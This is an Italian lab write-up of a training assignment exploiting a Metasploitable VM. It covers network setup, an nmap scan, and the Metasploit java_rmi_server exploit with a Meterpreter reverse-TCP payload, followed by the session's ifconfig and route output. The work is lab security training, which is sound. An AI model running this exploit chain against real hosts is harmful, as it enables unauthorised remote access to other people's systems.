

Consegna S7-L5

exploit su metasploitable

```
zsh: corrupt history file /home/kali/.zsh_history
(kali@kali)-[~]
$ sudo nano /etc/network/interfaces
```

```
auto eth0
iface eth0 inet static
address 192.168.11.112
netmask 255.255.255.0
network 192.168.11.0
broadcast 192.168.11.255
gateway 192.168.11.1
```

```
auto eth0
iface eth0 inet static
address 192.168.11.111/24
gateway 192.168.11.1
```

```
$ ping 192.168.11.112
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data.
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=0.560 ms
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=0.405 ms
64 bytes from 192.168.11.112: icmp_seq=3 ttl=64 time=0.679 ms
^C
```

Come prima cosa andiamo a settare il nostro laboratorio cambiando ip, sia su macchina kali che su macchina metasploitable usando il comando “[sudo nano /etc/network/interfaces](#)” una volta impostato verifichiamo che ci sia comunicazione tra le due macchine

```
msfadmin@metasploitable:~$ ping 192.168.11.111
PING 192.168.11.111 (192.168.11.111) 56(84) bytes of data.
64 bytes from 192.168.11.111: icmp_seq=1 ttl=64 time=0.391 ms
64 bytes from 192.168.11.111: icmp_seq=2 ttl=64 time=0.324 ms
64 bytes from 192.168.11.111: icmp_seq=3 ttl=64 time=0.306 ms
```

```
(kali@kali)-[~]  
$ msfconsole
```

```
msf6 > search java_RMI
```

```
(kali@kali)-[~]  
$ sudo nmap -sV 192.168.11.112  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-  
Nmap scan report for 192.168.11.112  
Host is up (0.000068s latency).  
Not shown: 977 closed tcp ports (reset)  
PORT      STATE SERVICE      VERSION  
21/tcp    open  ftp          vsftpd 2.3.4  
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protoco  
23/tcp    open  telnet       Linux telnetd  
25/tcp    open  smtp         Postfix smtpd  
53/tcp    open  domain       ISC BIND 9.4.2  
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)  
111/tcp   open  rpcbind      2 (RPC #100000)  
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKG  
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKG  
512/tcp   open  exec         netkit-rsh rexecd  
513/tcp   open  login?  
514/tcp   open  shell        Netkit rshd  
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
```

```
msf6 > search java_RMI  
  
Matching Modules  
=====
```

#	Name	Disclosure Date	Rank
0	auxiliary/gather/java_rmi_registry		normal
No	Java RMI Registry Interfaces Enumeration		
1	exploit/multi/misc/java_rmi_server	2011-10-15	excellent
Yes	Java RMI Server Insecure Default Configuration Java Code Execution		

il primo step e' quello di eseguire una scansione nmap sulla macchina target, possiamo vedere che la porta 1099 e' aperta andiamo dunque ad avviare metasploit con "msfconsole" e subito dopo cerchiamo l'exploit a noi congeniale tramite "search java_rmi". Nel nostro caso andremo ad usare l' exploit uno in quando ha una configurazione di default

procediamo impostando l'exploit 1 con “use 1” e lanciamo un “show options” per verificare i parametri. una volta impostato l' RHOST con “set RHOST ip macchina target” avviamo l'exploit

```
msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) >
```

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/FefAu7fKdA
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header...
[*] 192.168.11.112:1099 - Sending RMI Call...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57692 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:4693)
```

```
meterpreter > |
```

```
msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options
```

Module options (exploit/multi/misc/java_rmi_server):

Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the HTTP Server will wait for the payload request
RHOSTS		yes	The target host(s), see https://docs.meterpreter.com/docs/using-meterpreter/basics/using-meterpreter.html
RPORT	1099	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
LHOST	192.168.11.111	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
--	----
0	Generic (Java Payload)

Stdapi: Networking Commands

=====

Command	Description
-----	-----
ifconfig	Display interfaces
ipconfig	Display interfaces
portfwd	Forward a local port to a remote service
resolve	Resolve a set of host names on the target
route	View and modify the routing table

come ultimo step eseguiamo il comando “[help](#)” per trovare i comandi a noi utili su meterpreter, andremo quindi ad eseguire “[ifconfig](#)” e “[route](#)” entrambi presenti nella sezione [networking commands](#). Il primo ci mostrerà le interfacce di rete mentre il secondo le informazioni sulla tabella di routing.

```
meterpreter > ifconfig
```

```
Interface 1
```

```
=====
```

```
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::
```

```
Interface 2
```

```
=====
```

```
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe3a:fb38
IPv6 Netmask : ::
```

```
meterpreter > 
```

```
meterpreter > route
```

```
IPv4 network routes
```

```
=====
```

Subnet	Netmask	Gateway	Metric	Interface
-----	-----	-----	-----	-----
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.11.112	255.255.255.0	0.0.0.0		

```
IPv6 network routes
```

```
=====
```

Subnet	Netmask	Gateway	Metric	Interface
-----	-----	-----	-----	-----
::1	::	::		
fe80::a00:27ff:fe3a:fb38	::	::		

```
meterpreter > 
```